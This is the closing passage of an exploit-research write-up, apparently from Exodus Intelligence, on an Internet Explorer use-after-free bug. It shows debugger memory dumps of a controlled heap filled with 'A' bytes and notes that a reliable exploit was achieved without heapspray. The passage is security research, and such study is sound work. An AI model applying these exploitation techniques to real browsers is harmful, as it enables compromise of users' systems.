001bb108 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
001bb118 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
001bb128 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
001bb138 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
001bb148 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
001bb158 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
001bb168 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
1:028> dc edi
00235880 001bb0f8 02367fc8 02367fe0 0018ec10 ......6...6.....
00235890 0019eff0 0019f008 0019f020 0019f038 ........ ...8...
002358a0 0019f050 0019f068 0019f080 0019f098 P...h...........
002358b0 0019f0b0 0019f0c8 0019f0e0 0019f0f8 ................
002358c0 0019f110 0019f128 0019f140 0019f158 ....(...@...X...
002358d0 0019f170 0019f188 eaa4d113 ff0c0100 p...............
002358e0 3cf74690 0021fac0 00234b90 3cf77870 .F.<..!..K#.p
1:028> dc poi(edi+10)
0019eff0 00790063 006e0061 50540000 302e312f c.y.a.n...TP/1.0
0019f000 e88f2258 ff0e0120 00790063 006e0061 X".. ...c.y.a.n.
0019f010 6d690000 48656c70 e88f225b ff0e0130 ..impleH["..0...
0019f020 00790063 006e0061 0a0d0000 65746144 c.y.a.n.....Date
0019f030 e88f225e ff0e0164 00790063 006e0061 ^"..d...c.y.a.n.
0019f040 30200000 37353a31 e88f2251 ff0e0147 .. 01:57Q"..G...
0019f050 00790063 006e0061 70790000 74203a65 c.y.a.n...ype: t
0019f060 e88f2254 ff0e0168 00790063 006e0061 T"..h...c.y.a.n.
From here you can probably use the default ROP chains for Windows XP but I didnt bother trying that.
Conclusion
This is just another Internet Explorer use-after-free bug which was actually relatively easy to analyse and exploit. I used some new and/or non public techniques to get a reliable exploit that doesn't require heapspray, but all in all this bug can be exploited quite reliably.
If you are interested in analyzing vulnerabilities and writing exploits for them you can take a look at our training, which will focus on IE9.
It is not easy to defend against these type of attacks, but by getting as many details on as many exploitable vulnerabilities as possible we believe we can provide our clients with additional tools and information to strengthen their defenses. If you want more information on this you can contact us at info@exodusintel.com.
- Peter Vreugdenhil
Exodus Intelligence
